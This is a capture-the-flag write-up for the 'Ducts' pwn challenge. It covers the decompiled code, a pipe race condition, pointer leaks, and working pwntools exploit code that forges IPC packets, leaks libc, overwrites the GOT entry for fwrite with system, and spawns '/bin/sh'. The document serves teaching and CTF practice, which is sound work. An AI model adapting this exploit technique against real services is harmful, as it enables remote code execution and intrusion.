Ducts challenge write-up

Introduction
Ducts is my pwn challenge written for the m0leCon CTF Teaser 2025. Here is the official write-up with the intended solution.
Description
The attachment contains three files:
chal
: the challenge executable (ELF binary).Dockerfile
anddocker-compose.yml
: Docker setup used to create the execution environment. The docker image is built on Ubuntu 22.04.
The ELF is dynamically compiled and is not stripped, but has canary, NX and PIE. The libc.so.6
is required to solve the challenge. Extract it from the container with:
docker compose cp ducts:/usr/lib/x86_64-linux-gnu/libc.so.6 ./libc.so.6
The libc can be extracted from the container
The challenge listens to a random port:
matteo@console:~$ nc localhost 4444
Socket successfully created..
Socket successfully binded..
Server listening..
Port is 40351
Challenge output
When a new connection is made, the process forks and a child handles the new connection:
matteo@console:~$ nc localhost 40351
Welcome to the network blackhole! What do you want to destroy?
Example message
Please leave also your name for recording purposes!
Matte23
Data sent to the blackhole, bye!
Text sent by the frontend
Summing up there are [2+N] processes:
- A main process that awaits for new connections. When a new connection arrives, it starts a new frontend process.
- N frontend processes (
talk
function), that receives data from the user and sends it to the backend. - A backend process, that receives the data from the frontend and handles it.
IPC structure
The packages exchanged between processes are sent over a pipe. There are two different type of packages: messages and commands.
#define TYPE_MESSAGE 0
#define TYPE_COMMAND 1
#define COMMAND_PRINT 0xdeadbeef
#define COMMAND_SWAP 0xcafebabe
#define COMMAND_FLUSH 0xDEADC0DE
typedef struct message_s *message_t;
typedef struct packet_s {
int type;
} * packet_t;
struct message_s {
struct packet_s super;
int message_len;
message_t next;
char author[AUTHOR_LEN];
char message[];
};
typedef struct command_s {
struct packet_s super;
int instruction;
long id;
long info;
} *command_t;
Messages exchanged over the pipe
The frontend function
The talk
function reads text from a socket and creates a new message that is sent over the pipe to the backend. Note that it's not possible to send commands with this function.
Backend function
The backend function supports handling both messages and commands:
void backend(undefined4 param_1)
{
int message_type;
first = NULL_MESSAGE;
last = NULL_MESSAGE;
devnull = fopen("/dev/null","w");
do {
while (message_type = identify_incoming(param_1), message_type == 1) {
handle_command(param_1);
}
if (((message_type < 2) && (message_type != -1)) && (message_type == 0)) {
handle_message(param_1);
}
} while( true );
}
The backend function
Let's see how messages are handled:
void handle_message(undefined4 param_1)
{
message *pmVar1;
message *message;
message = (message *)receive_message(param_1);
printf("Destroying message with len \'%d\' by %s\n",(ulong)(uint)message->message_len,
message->author);
fwrite(&message->message,1,(long)message->message_len,devnull);
pmVar1 = message;
if (first != (message *)NULL_MESSAGE) {
*(message **)((long)last + 8) = message;
pmVar1 = first;
}
first = pmVar1;
last = message;
return;
}
First, the message is written to /dev/null (that's why the frontend says “network black hole” 🙂) and then is inserted into a linked list.
What about the commands? Three different commands are defined: flush_messages, print_messages and redact_message.
void flush_messages(void)
{
first = NULL_MESSAGE;
last = NULL_MESSAGE;
return;
}
The command flush_messages empties the message list (without bothering to free the unused space 💀).
void print_messages(void)
{
message *message;
for (message = first; (message != (message *)NULL_MESSAGE && (message != (message *)0x0));
message = message->next_message) {
printf("Message %p is \'%s\' by %s. Next is %p\n",message,&message->message,message->author,
message->next_message);
}
return;
}
The command print_messages prints the content of every message in the list.
void redact_message(long param_1)
{
int N;
message *source_message;
message *curr_message;
N = 0;
source_message = (message *)NULL_MESSAGE;
curr_message = first;
while ((curr_message != (message *)NULL_MESSAGE && (source_message == (message *)NULL_MESSAGE))) {
if ((long)N == *(long *)(param_1 + 8)) {
source_message = curr_message;
}
N = N + 1;
curr_message = curr_message->next_message;
}
if (source_message != (message *)NULL_MESSAGE) {
source_message->message_len = 1;
source_message->message = *(char **)(param_1 + 0x10);
}
return;
}
The command redact_message takes the Nth message in the list, sets its length to 1, and replaces the first word of the message with a number.
Vulnerabilities
Race condition on the pipe
The whole challenge use only one pipe to exchange data between multiple frontend processes and the backend. What happens when multiple writes are done concurrently on a single pipe? The Linux manual states (https://man7.org/linux/man-pages/man7/pipe.7.html):
POSIX.1 says that writes of less than PIPE_BUF bytes must be
atomic: the output data is written to the pipe as a contiguous
sequence. Writes of more than PIPE_BUF bytes may be nonatomic:
the kernel may interleave the data with data written by other
processes. POSIX.1 requires PIPE_BUF to be at least 512 bytes.
So if multiple messages are written at the same time, with a size bigger than PIPE_BUF
, the content may be interlaced. We can exploit this race condition to forge custom messages and commands.
Next message overwrite
When the frontend sends a message to the backend, it sets the next_message
attribute to NULL_MESSAGE
. This is not an issue per se, but if we manage to forge a message the backend won't overwrite our custom next_message
attribute.
print_messages address leak
The function print_messages
prints also the pointer of next_message
, leaking the address of the NULL_MESSAGE
global variable.
Exploit
Let's wrap up and see how to get RCE. We have to:
- create a helper function that sends custom messages and commands using the race condition on the pipe.
- leak the text base address using the command
print_messages
. - leak the libc base address by reading the GOT section.
- overwrite the function
fwrite
withsystem
in the GOT section. - send a message with content /bin/bash to trigger
system("/bin/bash")
in the handle_message function. - run
cat flag.txt
🚩
Instead of using the system
function, it's also possible to use a one-gadget.
Creating the helper function
To trigger the race condition, we have to send large messages concurrently (30 threads) and see where the backend starts receiving invalid messages. As usual, we can use pwntools' cyclic
to identify the right offset.
# Raw intereraction with challenge frontend
def send_message(message, author, sync: threading.Semaphore):
try:
r = remote(ENDPOINT, SERVICE_PORT)
r.sendline(message)
r.send(author)
sync.acquire()
r.send(b"\n")
r.close()
except:
pass
# Helper function to inject a payload using the race condition
def send_stage(payload: dict):
sync = threading.Semaphore()
payload_raw = flat(payload)
#payload = b""
payload_raw += cyclic(PIPE_BUF-len(payload_raw))
print("Starting threads...")
for i in range(30):
x = threading.Thread(target=send_message, args=(payload_raw,str(i).encode()*63, sync))
x.start()
print("Waiting for data to be sent")
time.sleep(5)
print("Triggering race condition!")
sync.release(30)
Python code to trigger the race condition
A semaphore is used to ensure that all the bytes are sent to the server before triggering the write over the pipe. This exploit works even if some messages are corrupted because the backend ignores invalid bytes until it recognizes the byte that signals the beginning of a packet.
Helper function to forge messages and commands
### Helper functions to create C structs defined in challenge code
def build_message(message, author, next):
return flat({
0: 0,
4: len(message),
8: p64(next),
16: author,
16+64: message
}, word_size=32)
def build_command(instruction, parm1 = 0, parm2 = 0):
return flat({
0: 1,
4: instruction,
8: p64(parm1),
16: p64(parm2)
}, word_size=32)
### Shortcuts for commands
def command_flush():
return build_command(0xDEADC0DE)
def command_print():
return build_command(0xdeadbeef)
def command_redact(id, data):
return build_command(0xcafebabe, id, data)
Python functions to generate the content of messages and commands
Text section leak
def leak_text(r: pwnlib.tubes.tube.tube):
payload = {
offset: command_print(),
}
send_stage(payload)
while True:
null_element_address = int(r.recvline_contains(b"Next is ").strip().split(b"Next is ")[1], 0)
print(f"Leaked {hex(null_element_address)}")
test_address = null_element_address-exe.symbols["NUL"]
# This is an hacky way to identify the correct address from the various leaks.
if test_address % 4096 == 0:
exe.address = test_address
break
print(f"Text base address = {hex(exe.address)}")
sleep(1)
Python code to leak the text address
Libc leak
# Payload to perform arbitrary write
def write_payload(addr, data):
return command_flush() + build_message(b"CUT-HERE-FOR-WRITE", b"CUT-HERE-FOR-WRITE\0", addr-0x80+6*8) + command_redact(1, data)
def leak_libc(r: pwnlib.tubes.tube.tube):
# Before printing, we are gonna write 0x0 right before the address to be leaked
# So that mex->next is NULL
payload = {
offset: write_payload(exe.got.fwrite-0x8, 0x0) + read_payload(exe.got.fwrite, b"CUT-HERE-FOR-LIBC-LEAK", b"CUT-HERE-FOR-LIBC-LEAK\0"),
}
send_stage(payload)
# Discard useless prints
r.recvline_contains(b"'CUT-HERE-FOR-LIBC-LEAK' by CUT-HERE-FOR-LIBC-LEAK. Next is ")
# Read leaked address
leaked_address = u64(r.recvline().strip().split(b"'' by ")[1].split(b".")[0]+b'\x00\x00')
print(f"libc.sym.fwrite = {hex(leaked_address)}")
libc.address = leaked_address - libc.sym.fwrite
print(f"Libc base address = {hex(libc.address)}")
sleep(1)
Python code to leak the libc address
GOT rewrite and profit
def rewrite_got(r: pwnlib.tubes.tube.tube):
payload = {
offset: write_payload(exe.got.fwrite, libc.sym.system) + build_message(b"/bin/sh", b"Master pwner", 0x0),
}
send_stage(payload)
Python code to trigger the GOT overwrite and the RCE
By replacing the fwrite
with system
, the message handler code
message_t mex = receive_message(pipefd);
printf("Destroying message with len '%d' by %s\n", mex->message_len, mex->author);
fwrite(mex->message, sizeof(char), mex->message_len, devnull);
Original message handler code
becomes
message_t mex = receive_message(pipefd);
printf("Destroying message with len '%d' by %s\n", mex->message_len, mex->author);
system(mex->message);
Message handler code after GOT overwrite
thus the message in the payload triggers the RCE.